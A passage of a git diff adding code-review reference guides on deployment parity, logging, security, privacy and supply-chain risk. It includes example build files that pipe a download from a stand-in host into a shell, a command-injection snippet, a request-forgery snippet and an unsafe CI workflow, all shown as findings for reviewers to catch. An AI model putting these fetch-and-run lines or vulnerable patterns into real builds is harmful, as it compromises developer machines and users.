with no default and no startup validation fails at first use, inside whichever request happens to need it, instead of at boot where a deployment check would catch it. + +```go +// Fails on the first request reaching this branch, in whichever environment lacks the value. +endpoint := os.Getenv("BILLING_ENDPOINT") + +// Fails at start, in every environment that lacks the value. +endpoint, ok := os.LookupEnv("BILLING_ENDPOINT") +if !ok { + return fmt.Errorf("BILLING_ENDPOINT is not set") +} +``` + +A default that is correct locally and wrong when deployed is worse than no default, because nothing fails: `debug = os.environ.get("DEBUG", "true")` ships verbose errors to users rather than raising at boot. + +Checklist for this group: + +- an environment variable read with no default and no startup validation, or added without a corresponding entry in the example configuration and the deployment manifest; +- a hardcoded host, port, URL, or absolute path (`/var/data/cache`, `C:\temp`, `http://localhost:8080`) where a deployed environment uses another; +- seed, fixture, or sample data assumed present: the code reads a row, a bucket object, or a file that a freshly provisioned environment does not have; +- a feature flag whose default differs per environment, so the branch exercised by the tests is not the branch that runs when deployed; check which default the tests run under before judging the coverage; +- a secret read from a developer's local file rather than from the deployment's secret source. + +## Clock, locale, and randomness + +A date parsed or rendered without an explicit zone takes the host zone, so the test passes in one UTC offset and fails in another. Continuous integration commonly runs in UTC while a developer machine does not, which is why this class surfaces first as a build failure nobody can reproduce. + +```ruby +# Interprets the value in the host's zone, so the resulting day shifts with the offset. +Date.parse(row["due_at"]).strftime("%F") + +# Interprets it in a stated zone. +Time.parse(row["due_at"]).utc.strftime("%F") +``` + +The same applies to locale-sensitive formatting: decimal separator, currency symbol and placement, collation order relied on by a sorted assertion, and case mapping (in Turkish, lowercasing `"ID"` yields a dotless i, so a case-insensitive comparison stops matching). Wall clock and randomness that continuous integration cannot reproduce must be injectable, so check whether the change reads the clock or the random source directly rather than accepting a clock, a seed, or an identifier generator as a parameter. + +## Filesystem case, separators, and container networking + +- Case sensitivity: a developer machine may use a case-insensitive filesystem while the container image does not, so a reference to `./Widget` that resolves locally and fails in the image is a parity defect rather than a build flake. Flag a rename that changes only letter case, since some version control configurations do not record it. +- Separators: a path assembled by concatenating `/` or `\` instead of the platform join function, a split on a separator character, or a glob written with one separator style. +- Container against host networking: `localhost` inside a container is that container, not the host and not a sibling container. An address that works when both processes share a machine has to become a service name or an injected address once one side is containerized. Check the bind address too: a server bound to `127.0.0.1` inside a container is unreachable from outside it, while `0.0.0.0` is reachable. +- Also in this group: an absolute path baked into an image whose mount point differs, a file written to a container filesystem that is discarded on restart, and a user identifier or umask difference that makes a written file unreadable to the next process. + +## Flaky tests as parity defects + +The causes overlap with everything above, so review them here rather than as a separate concern. Each item is a check against the changed test and the code it drives: + +- a wall-clock read or date arithmetic where the test asserts a formatted value or an elapsed duration, including anything asserting "today" that breaks near midnight or at a month boundary; +- unseeded randomness: a random identifier, a shuffled fixture, or a property-based test whose failing seed is not printed; +- iteration order of a map, set, or directory listing relied on as stable; some languages randomize map order per run, so the test fails at a rate rather than always; +- a promise, future, or task started and not awaited, so the assertion runs before the effect lands, or the rejection surfaces inside a later unrelated case; +- a real network call, or a fixed sleep, inside a test: a sleep encodes a timing guess, so wait on the condition instead; +- state shared between cases through a module-level variable, a singleton, a reused temporary directory, or a database row that is not rolled back; a case that passes alone and fails in the suite, or that depends on file ordering, points here; +- an assertion racing an animation, a transition, or a debounce timer. + +A test that a rerun turns green is not fixed. The reviewer question is: what makes this pass, and is that thing guaranteed or merely usual? + +## Deciding whether a failure is debuggable remotely + +Take the least likely branch in the change, the one that fires under load or on malformed input, and ask what evidence would exist in the deployed environment when it fires. If the answer is a status code with no record naming which input and which stage produced it, the finding is a missing signal rather than a stylistic preference. The recurring shapes are a catch returning a fallback value and recording nothing, an event that pages someone logged at `debug`, and a line reading "request failed" with no identifier joining it to the request that failed. + +## Log level, structure, and correlation + +Match the level to the event: `error` for something a human must act on, `warn` for a degraded path that continued, `info` for a state transition worth counting, `debug` for detail suppressed when deployed. A recovered condition logged at `error` produces alert noise that trains people to ignore the channel; a lost write logged at `info` is invisible. + +Prefer fields to an interpolated sentence, because fields can be filtered and aggregated and a sentence can only be searched as a substring. + +```python +# Requires a substring search, and the order identifier cannot be filtered on. +logger.error(f"could not settle order {order_id} for {customer_id}: {exc}") + +# Fields are queryable, and the message text stays constant across occurrences. +logger.error("order settlement failed", extra={"order_id": order_id, "error_type": type(exc).__name__}) +``` + +The correlation or trace identifier is usually dropped at an asynchronous boundary: a queue publish, a thread pool submission, a scheduled callback, a retry that runs later. Confirm the identifier travels inside the message or the propagated context, not only in a variable on the calling stack. + +```java +// The pooled thread has no access to the request context, so its logs cannot be joined to the request. +executor.submit(() -> reconcile(accountId)); + +// The identifier travels with the work. +String traceId = currentTraceId(); +executor.submit(() -> reconcile(accountId, traceId)); +``` + +A caught error that is logged and then dropped never reaches the project's error tracker, so nobody sees its rate or its stack. Check which reporting call the surrounding code already uses and whether the new catch uses it, and check that wrapping preserves the cause: a re-raise that discards the original removes the line that actually failed. + +## Metrics and alerts for each new failure mode + +A new failure mode is a branch that can fail in a way the existing signals do not count: a new external call, a new retry, a new queue, a new validation rejection. For each one, answer three questions. Which counter or timer moves when it happens? Would a rise from zero to a steady rate be visible to anyone not already looking? Who is notified, and does the notification name the failing component rather than an aggregate that hides it? + +Label cardinality is the failure mode of the fix. A label holding a user identifier, a full path, or an error message creates one time series per distinct value, and series are stored and billed individually. + +```text +# Unbounded: one series per user and per concrete path. +checkout_failures{user="u-8123", path="/orders/8123/settle"} + +# Bounded to a small set of values. +checkout_failures{reason="payment_declined", route="/orders/:id/settle"} +``` + +## Data that must not reach logs or traces + +Personal or health data, passwords, tokens, keys, session identifiers, and full request or response bodies stay out of every log line, span attribute, metric label, and error report. Two habits deserve a direct check: + +- an object logged whole, such as a serialized model or a captured payload, which picks up each field added to that type after the line was written; log named fields instead; +- an error path attaching the request body or the headers "for context", which captures the authorization header along with everything else. + +Where the record needs an identifier, use one that means nothing outside the system: a request identifier rather than an email address, a truncated or hashed value rather than a whole token, a record identifier rather than the record. + +## Writing the finding + +A parity finding names both contexts and the divergence: "reads `BILLING_ENDPOINT` with no default, and the deployment manifest does not set it, so the first request that reaches this branch after deploy raises". An observability finding names the incident: "when this catch fires, the only evidence is a 500 with no order identifier, so the report cannot be traced to an order". Both quote the changed line. Where the deployment configuration is not visible to you, the finding has to stand on what the changed line shows by itself, such as a read with no validation or a literal address; the fix is the part you label unverified, naming the file that would confirm it. diff --git a/.claude/skills/audit-pr/references/security-and-privacy.md b/.claude/skills/audit-pr/references/security-and-privacy.md new file mode 100644 index 00000000..a9b91b6b --- /dev/null +++ b/.claude/skills/audit-pr/references/security-and-privacy.md @@ -0,0 +1,138 @@ +# Security and privacy checks for a code review + +Operational detail for the security and privacy categories named in `SKILL.md`. Each check below states what to look for in the changed lines, what neutralizes it, and the refutation that turns a suspicion into a dropped finding. + +- [Name the source, the sink, and the neutralizing boundary](#name-the-source-the-sink-and-the-neutralizing-boundary) +- [Findings that protect the end user](#findings-that-protect-the-end-user) +- [Findings that protect the host and the organization](#findings-that-protect-the-host-and-the-organization) +- [Findings that protect the developer and the build](#findings-that-protect-the-developer-and-the-build) +- [Ten OWASP areas and the check that applies to each](#ten-owasp-areas-and-the-check-that-applies-to-each) +- [Ten OWASP areas for model and agent code](#ten-owasp-areas-for-model-and-agent-code) +- [Model output used unvalidated as a path, query, command, or URL](#model-output-used-unvalidated-as-a-path-query-command-or-url) +- [Privacy from collection through to deletion](#privacy-from-collection-through-to-deletion) +- [Secrets that must never reach a log, and how they arrive there](#secrets-that-must-never-reach-a-log-and-how-they-arrive-there) +- [Severity for a security or privacy finding](#severity-for-a-security-or-privacy-finding) + +## Name the source, the sink, and the neutralizing boundary + +Write no security finding until you can name three things from lines you opened: the **source** (where the value entered, such as a request field, a header, a filename, a queue message, a database row written by another tenant, or a model response), the **sink** (the call that gives the value power, such as a query, a shell, a filesystem path, a template, a redirect, or a deserializer), and the **boundary** that was supposed to neutralize it between the two. + +The finding is one of three shapes: no boundary exists, the boundary is the wrong kind for that sink (escaping applied where parameterization is needed), or the boundary runs on a different branch than the one the source reaches. If you cannot trace the path from source to sink through code you read, say you could not determine it rather than reporting it. + +## Findings that protect the end user + +Their data, session, device, and browser. Check the changed lines for: markup or a template built by concatenation with caller-supplied text, where the sink is rendered as HTML rather than as text; a session cookie without an http-only flag, a secure flag, and a same-site policy; a session identifier that survives a privilege change such as sign-in, sign-out, or a password reset; a redirect target read from a parameter with no allowlist; a cross-origin policy widened to any origin while credentials are allowed; a state-changing request reachable without an anti-forgery token or an equivalent origin check; an authorization decision made from a value the caller controls, such as an identifier in the body rather than the authenticated subject; an error response that returns the raw exception; and a client-side storage write holding a token or personal data. + +Refute before reporting: an auto-escaping template neutralizes markup unless the change opts out through a raw or unsafe helper, and a framework that verifies the anti-forgery token in middleware covers a handler that never mentions it. + +## Findings that protect the host and the organization + +Server-side request forgery is the one most often reached through a helper: the check is a request whose **host** comes from caller data, not merely its path. A fixed base with an interpolated path segment is not this finding. + +```go +// Finding: the host comes from request data, so the server fetches any address the caller names. +resp, err := http.Get(req.FormValue("target")) + +// Fix: resolve the caller value against a fixed set of full URLs, and never build the host from it. +endpoint, ok := allowedEndpoints[req.FormValue("target")] +if !ok { + return errUnknownEndpoint +} +resp, err := http.Get(endpoint) +``` + +The rest of this direction, each with its trigger in the diff: command injection, where a value reaches a shell string rather than an argument array; path traversal, where a joined path is not compared against the resolved parent directory after normalization, which is what catches `..` and symbolic links together; unsafe deserialization, where a format that can instantiate arbitrary types reads bytes the caller supplied; resource exhaustion, where a request body, an upload, a decompression ratio, a regular expression over caller input, a page size, or a recursion depth has no ceiling; privilege escalation, where a role or tenant identifier is read from the payload; over-scoped tokens, where a new credential is granted write or admin scope for a read; and log injection, where a value that can contain a newline reaches a line-oriented log sink and lets a caller forge log entries. + +Also read the diff as a public artifact. Internal hostnames, bastion or admin URLs, employee names in comments or fixtures, ticket numbers that describe an unpatched weakness, internal address ranges, and bucket or queue names all become public with the commit. Generated source maps and bundled comments carry the same content into a browser, so treat a build configuration that publishes them as the same finding. + +## Findings that protect the developer and the build + +Ask whether cloning, installing, building, or opening the repository can compromise the machine that does it. Check: a dependency whose install-time hook or native build descriptor runs code, judged by capability rather than by field name; a package name that differs by a character from the intended one, or a source other than the project registry, including a git URL or a tarball; an editor, container, or task configuration that executes on open; a build step that downloads and runs a script from a network location; a workflow that checks out an untrusted contribution while holding write permission or secrets; a third-party build action pinned to a mutable tag rather than an immutable commit identifier; a self-hosted runner reachable from forks; and a checked-in agent rule, skill, or settings file that grants tool access to anyone who trusts the repository. A valid provenance attestation does not establish that a release is safe, because a compromised maintainer account can produce one. + +## Ten OWASP areas and the check that applies to each + +Where a project tracks an earlier edition of the list, server-side request forgery and vulnerable components appear as areas of their own and are covered above. + +| Area | Check the changed lines for | +| ------------------------------------- | ------------------------------------------------------------------------------------------------------ | +| Broken access control | A handler with no authorization call, or one that checks authentication and never ownership | +| Security misconfiguration | A default credential, a debug or verbose flag, a widened permission, an exposed admin path | +| Software supply chain failures | An added dependency, a widened version range, a changed integrity hash, a new build action | +| Cryptographic failures | A hand-rolled primitive, a fixed initialization vector or salt, a fast hash for a password, plain HTTP | +| Injection | Concatenation into a query, a shell, a path, a template, or a header | +| Insecure design | A missing rate limit, no lockout, a recovery flow that trusts an unverified address | +| Authentication failures | A session identifier reused across a privilege change, a token with no expiry, a weak comparison | +| Software and data integrity failures | An unsigned update, an unverified download, a deserializer over untrusted bytes | +| Logging and alerting failures | A new failure mode that emits nothing, an authorization denial that is not recorded | +| Mishandling of exceptional conditions | A caught error that continues on the success path, a partial write left uncompensated | + +## Ten OWASP areas for model and agent code + +Enter this table when the diff builds a prompt, calls a model, reads a model response, indexes or queries embeddings, or grants a tool to an agent. + +| Area | Check the changed lines for | +| -------------------------------- | -------------------------------------------------------------------------------------------------- | +| Prompt injection | Retrieved text concatenated into instructions with no delimiter or trust label | +| Sensitive information disclosure | Personal, health, or credential data placed in a prompt, a trace, or a retained transcript | +| Supply chain | A model, adapter, or dataset pulled from an unpinned or community source with no integrity check | +| Data and model poisoning | A training, fine-tuning, or index-ingestion path that accepts caller-supplied records unreviewed | +| Improper output handling | A model response reaching a renderer, parser, or executor without validation | +| Excessive agency | A tool granted write, delete, payment, or network scope beyond the task, with no confirmation step | +| System prompt leakage | Instructions, keys, or rules in a system prompt that the model can be asked to repeat | +| Vector and embedding weaknesses | A shared index with no per-tenant query filter, or raw personal data inside embeddings | +| Misinformation | A model answer presented as fact with no citation, no confidence path, and no human step | +| Unbounded consumption | No token ceiling, no request quota, no retry cap, and no cost alarm on a metered call | + +## Model output used unvalidated as a path, query, command, or URL + +**This is a named finding whenever it appears.** A model response is untrusted input with a persuasive tone; treat it exactly as a request body. The fix depends on the sink: an allowlist lookup for an identifier or a path segment, a parameterized statement for a query, an argument array for a command, and a host allowlist for a URL. Escaping is not a substitute for any of the four. + +```python +# Finding: the model chose the file name and the shell parses it. +subprocess.run(f"convert {model_choice} out.png", shell=True) + +# Fix: map the model choice onto a value the allowlist already holds, then pass an argument array. +if model_choice not in known_inputs: + raise ValueError("unknown input") +subprocess.run(["convert", known_inputs[model_choice], "out.png"]) +``` + +## Privacy from collection through to deletion + +Follow the data, not the field name. For each personal or health value the diff touches, answer: where it is collected, why the feature needs it, where it is written, who can read it, how long it is kept, and what deletes it. + +- **Minimization at the point of collection.** Redacting at the log line is late. If the feature needs an age band, collect the band and not the birth date; if it needs a country, do not store the address. +- **Retention.** A new store, table, bucket, or index with no expiry policy is a finding, and so is a backup or export that outlives the record it copies. +- **Transit and rest.** Plain HTTP or an unverified certificate on any hop carrying personal data; an unencrypted volume, snapshot, or export; a key stored beside the data it protects. +- **Access control.** A query without a tenant or subject filter, a broadened role, a shared read credential, and an administrative view that returns full records where identifiers would do. +- **Third-party egress and cross-border transfer.** A new analytics, session-replay, error, or advertising integration sends data to a party the notice may not name, often including URLs, form contents, and device identifiers by default. Record which region receives it. +- **Telemetry defaults.** Collection that is on unless the person opts out, in a jurisdiction or a product surface that requires consent first. +- **Source maps and stack traces.** A trace shown to a user leaks internal structure; a published source map leaks the same to anyone. Neither belongs in a response body. + +```ruby +# Finding: the whole profile is collected and retained though only the age band is used. +Analytics.record(user: user.attributes, event: "signup") + +# Fix: derive the one field the feature reads and collect nothing else. +Analytics.record(age_band: age_band_for(user.birth_date), event: "signup") +``` + +## Secrets that must never reach a log, and how they arrive there + +Never logged: passwords, tokens, API keys, session identifiers, encryption keys. The value rarely appears as a literal in the diff, so look for the four carriers instead: a structured logger handed a whole request, user, or configuration object; an exception message or a trace that quotes a URL with its query string; a cache key, a metric label, or a span attribute built from an identifier; and a third-party client that captures breadcrumbs, headers, or request bodies by default. + +```java +// Finding: the whole request reaches the log and carries the authorization header. +log.info("inbound request: {}", request); + +// Fix: log named fields, and strip line breaks from any caller-supplied value. +log.info("inbound request path={} correlationId={}", stripLineBreaks(request.path()), correlationId); +``` + +A redaction helper is only a defence for the fields it names. If the change adds a field to a logged object, check that the helper covers it. + +## Severity for a security or privacy finding + +Three questions decide it. Does the data or the capability cross a trust boundary (a browser, a third party, a log aggregator, another tenant)? Is the exposure reversible (a rotated key is, a disclosed birth date is not)? Who can read it afterwards, and for how long? + +Blocking is a reachable path from untrusted input to a sink with no boundary, an authorization gap, a secret or personal record written where an unauthorized reader can retrieve it, or an unbounded spend or resource path. Should fix is a weakened defence with another still standing, such as escaping where parameterization belongs. A suggestion is a hardening step with no demonstrated path. Where the path depends on a deployment or configuration value you could not read, report the finding and name that dependency rather than assuming either answer. diff --git a/.claude/skills/audit-pr/references/supply-chain.md b/.claude/skills/audit-pr/references/supply-chain.md new file mode 100644 index 00000000..24e87d65 --- /dev/null +++ b/.claude/skills/audit-pr/references/supply-chain.md @@ -0,0 +1,127 @@ +# Supply chain review of dependency and build changes + +A dependency, manifest, lockfile, or build-configuration change can run code on every machine that installs, builds, or opens the project. Review each entry against what the diff actually imports, and decide what executes by capability rather than by the field names of any one ecosystem. + +- [Reconcile the manifest against what the diff imports](#reconcile-the-manifest-against-what-the-diff-imports) +- [Signals in an added or upgraded dependency](#signals-in-an-added-or-upgraded-dependency) +- [Install-time and build-time code execution, by capability](#install-time-and-build-time-code-execution-by-capability) +- [Build descriptors that execute with nothing declared in the manifest](#build-descriptors-that-execute-with-nothing-declared-in-the-manifest) +- [What a provenance attestation establishes](#what-a-provenance-attestation-establishes) +- [Workflow, runner, and third-party reference checks](#workflow-runner-and-third-party-reference-checks) +- [Configuration that executes before a reader chooses to trust the code](#configuration-that-executes-before-a-reader-chooses-to-trust-the-code) +- [Agent configuration reviewed as an install script](#agent-configuration-reviewed-as-an-install-script) + +## Reconcile the manifest against what the diff imports + +Build two lists before judging any single entry: every package name added or changed in the manifest and lockfile, and every module name introduced by a new import, require, or use statement in the same diff. Put each name in one of four buckets. + +- **Declared and imported.** Continue to the signal checks below. +- **Declared, imported nowhere.** A pin holding a transitive version down, a linter plugin, or a type-only package has a reason a reviewer can name. A direct dependency with no consumer anywhere in the tree is either dead weight or the payload, so ask which. +- **Imported, not declared.** It resolves today through another package's dependency tree and disappears on the first upgrade that drops it. Report it whether or not the build currently passes. +- **Declared under a name close to an imported one.** Compare character by character: a hyphen against an underscore, singular against plural, a scope or namespace prefix dropped, a homoglyph, a transposed pair. This is the slopsquatting signature, and a generated install command is the usual way it enters a diff. Confirm the name against the registry before writing the finding, and say so plainly if you could not reach the registry. + +The pairing carries the weight. A package added with no matching import is not justified by "the build passes", and an import with no declaration passes the build for a reason that will not hold. + +## Signals in an added or upgraded dependency + +Each of the following is a finding on its own, and two of them on one package moves it to blocking. + +- **A widened version range.** An exact pin replaced by a range, or a range replaced by a wildcard or a floating alias. Weigh it by what the package does: a range on a formatter is a maintenance choice, while a range on a package that parses untrusted input, handles credentials, or ships a native component gives whoever takes over that package a path onto every future install. +- **A source other than the project's usual registry.** A version control URL, a tarball address, a filesystem path, or an alternate index named in the manifest. A version control reference to a branch or tag can be repointed after review, so it is weaker than a commit identifier even when the host is trusted. +- **A maintainer or ownership change**, a first release after a long gap, or a break in release cadence. None is a defect alone; each raises the bar for the next check. +- **A version jump with no changelog.** Open the published release notes and the tag diff. Where neither exists, the absence is the finding. +- **A resolved URL in the lockfile pointing off-registry** while the manifest names an ordinary registry package. The two files disagree about where the code comes from, and the lockfile is what install honours. + +**The integrity hash carries a decision rule the other signals do not.** Find every lockfile entry whose version string is unchanged, and compare its integrity or checksum field. Same version with a different hash means the bytes behind a fixed version changed after that version was first resolved. Same version with the hash removed means the next install has nothing to verify against. Neither has a reading that leaves the version identical and the artifact intact, so both are blocking, and neither requires knowing anything about the package. A hash that moves alongside a version change is ordinary. Run this pass first: it is mechanical and needs no judgement. + +## Install-time and build-time code execution, by capability + +For every path the change adds, answer two questions: at which moment does it run (dependency resolution, dependency build, project build, test run, editor or container open), and which credentials are present in the environment at that moment. Declared lifecycle hooks are one answer among several, and every ecosystem spells them differently. + +| Ecosystem | Declared hook | Executes with nothing declared | +| --------------------- | ------------------------------------------------------------------------ | ------------------------------------------------------------------------- | +| Node package manifest | `preinstall`, `install`, `postinstall`, `prepare` under `scripts` | a `binding.gyp` at the package root drives a native rebuild | +| Python distribution | `setup.py` for a source distribution; the backend under `[build-system]` | a `.pth` file installed into the site directory runs at interpreter start | +| Ruby gem | an `extensions` entry running `extconf.rb` | a `rubygems_plugin.rb` loads on the next package-manager command | +| Rust crate | a `build` key naming a non-default script path | a `build.rs` at the crate root, and macro expansion during compilation | +| JVM build tool | a plugin bound to a lifecycle phase | the build script is itself a program, evaluated at configuration time | +| .NET package | none in the current package format, so there is no field to search for | `.props` and `.targets` files imported into the consuming build | + +Go declares no install hook at all, which moves the vector to compile and test time: cgo directives compile C during the build, and generator directives run when someone invokes them. The absence of a hook field never means the absence of execution; it relocates it. + +## Build descriptors that execute with nothing declared in the manifest + +The failure mode is a reviewer who searches the manifest for lifecycle fields, finds none, and approves. Two rows in the table above have no manifest field to find. A Rust crate with a `build.rs` at its root runs it before compilation with no `build` key present, and a package with a `binding.gyp` at its root triggers a native rebuild with no `scripts` entry present. The descriptor is a program holding the privileges of the process that installs or builds. + +```ruby +# extconf.rb at the gem root. The gemspec names no script; the package +# manager runs this file because the gem declares a native extension. +require "mkmf" +system("curl -fsSL https://example.invalid/stage-two | sh") +create_makefile("example") +``` + +The Rust case declares less still, because the file name and its position at the crate root are the entire declaration: + +```rust +// build.rs at the crate root. The manifest carries no `build` key; the +// toolchain runs this file before compiling because of where it sits. +fn main() { + std::process::Command::new("sh") + .arg("-c") + .arg("curl -fsSL https://example.invalid/stage-two | sh") + .status() + .ok(); +} +``` + +Checks for any dependency carrying a compiled component: whether the build downloads a prebuilt binary instead of compiling and from which host, whether it resolves a build backend or toolchain over the network at build time, and whether it writes outside the build directory. A step that fetches a binary from an address outside the registry is both code execution and an off-registry source, and it is reported once with both facts. + +## What a provenance attestation establishes + +An attestation binds a published artifact to a build: a source revision, a builder identity, a workflow definition. That makes exactly one question answerable, whether the artifact was produced from the revision it names. It answers nothing about whether that revision is safe. An attacker holding a maintainer account or a stolen publishing token pushes a commit and the build system signs the result, so the attestation is valid and the release is hostile. A signature is the same shape of evidence, establishing who published rather than what was published. Use an attestation to reach the exact source revision and read its diff, never to skip reading it. + +## Workflow, runner, and third-party reference checks + +Field and trigger names differ per continuous-integration system; the capabilities do not. + +```yaml +on: pull_request_target # runs in the base repository context, with its secrets +jobs: + build: + permissions: + contents: write + steps: + - uses: third-party/checkout@v4 # mutable tag, repointable after review + with: + ref: ${{ github.event.pull_request.head.sha }} # untrusted code + - run: make build # runs it, with the write token and secrets in scope +``` + +Three properties combine there: the trigger supplies the base repository's credentials, the checkout brings in code any fork author controls, and the build step executes that code. Each is ordinary alone, and together they hand a write token to a stranger. Report the combination, not one line of it. Then check the rest of the surface: + +- **Mutable third-party references.** An action, orb, plugin, or container image pinned to a branch, a floating major tag, or a `latest` alias resolves to different bytes on the next run. Require a full commit identifier or an image digest, and apply the same standard to anything a run step downloads. +- **Secret reachability.** List which triggers in the changed workflow expose secrets, then which of those an outside contributor can fire. An environment with a required reviewer gates a secret. A job-level condition on the actor does not, if a fork can satisfy it. +- **Self-hosted runners reachable from forks.** An untrusted job on persistent hardware leaves state, caches, and credentials behind for the next job on the same machine. +- **Permission scope.** Read which token permissions the change grants and whether the job uses them. A workflow that gains publish or write rights in the same diff that adds a third-party step earns both findings. + +## Configuration that executes before a reader chooses to trust the code + +Cloning and opening a project reads as inspection rather than execution, and these files break that assumption: + +- an editor task configured to run when a folder opens, or a workspace setting naming an interpreter, formatter, or wrapper binary from inside the repository; +- a development container's post-create, post-start, or post-attach command, along with the image it derives from; +- a directory-scoped environment file that a shell integration evaluates on entering the directory; +- a checked-in hooks directory plus configuration pointing the version control system at it, which fires on the next commit, checkout, or merge rather than on open; +- a build tool's local settings or plugin file, read on the first build. + +For each, state when it fires, what it runs, and whether a reader who only meant to read the code would have triggered it. + +## Agent configuration reviewed as an install script + +A checked-in skill, rule, prompt, hook, or settings file configures a tool that reads files, runs commands, and reaches the network on behalf of anyone who trusts the repository. Review it with the procedure above, asking what executes, when, with which privileges, and who can change it. + +- A permission allowlist entry wide enough to cover arbitrary commands: a wildcard, a shell invocation, or a wrapper that takes a command as its argument. An entry that reads as narrow can be wide, since an allowlist for a package-manager run command permits whatever the manifest defines under that name, and the manifest is editable in the same pull request. +- A hook bound to an event the reader does not initiate, which is the agent equivalent of a post-install script. +- An external tool server added to the configuration, which is a dependency with network access and no lockfile entry. +- Instructions directing the agent to fetch and follow content from outside the repository. Text arriving from an issue, a page, or a dependency's README and reaching an agent that can execute is injection, and the configuration file is where that path opens. diff --git a/.claude/skills/audit-quality/LICENSE.txt b/.claude/skills/audit-quality/LICENSE.txt new file mode 100644 index 00000000..7a0e6342 --- /dev/null +++ b/.claude/skills/audit-quality/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021-2026 Alexander Joo-Hyun Sullivan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.claude/skills/audit-quality/SKILL.md b/.claude/skills/audit-quality/SKILL.md index 005a9cf8..1305eefd 100644 --- a/.claude/skills/audit-quality/SKILL.md +++ b/.claude/skills/audit-quality/SKILL.md @@ -1,6 +1,7 @@ --- name: audit-quality -description: Audit code for architecture, security, privacy, testing, dependency, supply chain, and cost issues, reporting findings with file and symbol evidence. Scope defaults to the active pull request or working changes and widens to the whole repository only when asked. Use for a maintenance or technical-debt pass over code as it stands, rather than for reviewing what a change does. Body mirrors `.github/prompts/audit-quality.prompt.md` byte for byte. +description: Audit code for architecture, security, privacy, testing, dependency, supply chain, and cost issues, reporting findings with file and symbol evidence. Scope defaults to the active pull request or working changes and widens to the whole repository only when asked. Use for a maintenance or technical-debt pass over code as it stands, rather than for reviewing what a change does. +license: MIT argument-hint: '[paths, categories, or "all"; defaults to the active pull request or working changes]' --- diff --git a/.claude/skills/check-skills/SKILL.md b/.claude/skills/check-skills/SKILL.md new file mode 100644 index 00000000..a27d086b --- /dev/null +++ b/.claude/skills/check-skills/SKILL.md @@ -0,0 +1,31 @@ +--- +name: check-skills +description: Validates every skill against the Agent Skills specification and checks that each published audit's prompt half and skill half still work alone, then delegates any semantic divergence to the prompt-skill-sync subagent. Use after editing any file under .github/prompts/ or .claude/skills/. +argument-hint: '[skill name to focus on; omit to check everything]' +metadata: + internal: true +disable-model-invocation: true +allowed-tools: Bash(make -f .claude/Makefile check-skills) Read Grep Glob +--- + +# Check skills + +Three audits ship twice: `.github/prompts/.prompt.md` for an agent that reads prompt files, and `.claude/skills//SKILL.md` for one that reads the Agent Skills format. They carry the same objective rather than the same bytes, and the full contract is in [`prompt-skill-sync.md`](../../rules/prompt-skill-sync.md). + +## Run the mechanical check + +```bash +make -f .claude/Makefile check-skills +``` + +It decides everything a machine can: `name` matching the directory, `description` within its character limit, a body under 500 lines, a licence on every published skill, every bundled path resolving, no skill naming a prompt, and no prompt naming a file that will not travel with it. + +Exit 0 means the mechanical rules hold. It does **not** mean the two halves still agree. + +## Then judge parity + +Whether both halves still aim at the same outcome is a judgement no script makes. Hand it to the `prompt-skill-sync` subagent, which reads both halves in its own context, builds a rule inventory for each, classifies every difference as allowed depth, allowed fallback, or real divergence, and repairs a divergence in the half that lacks the rule. + +Run it after any edit to either half, not only when the mechanical check fails. The failure it catches, a hard rule present in the skill and missing from the prompt, passes the mechanical check cleanly. + +The procedure lives in that one file on purpose. Restating it here would be a second hand-maintained copy with nothing checking it. diff --git a/.claude/skills/skill-creator/LICENSE.txt b/.claude/skills/skill-creator/LICENSE.txt deleted file mode 100644 index 4f881c52..00000000 --- a/.claude/skills/skill-creator/LICENSE.txt +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright 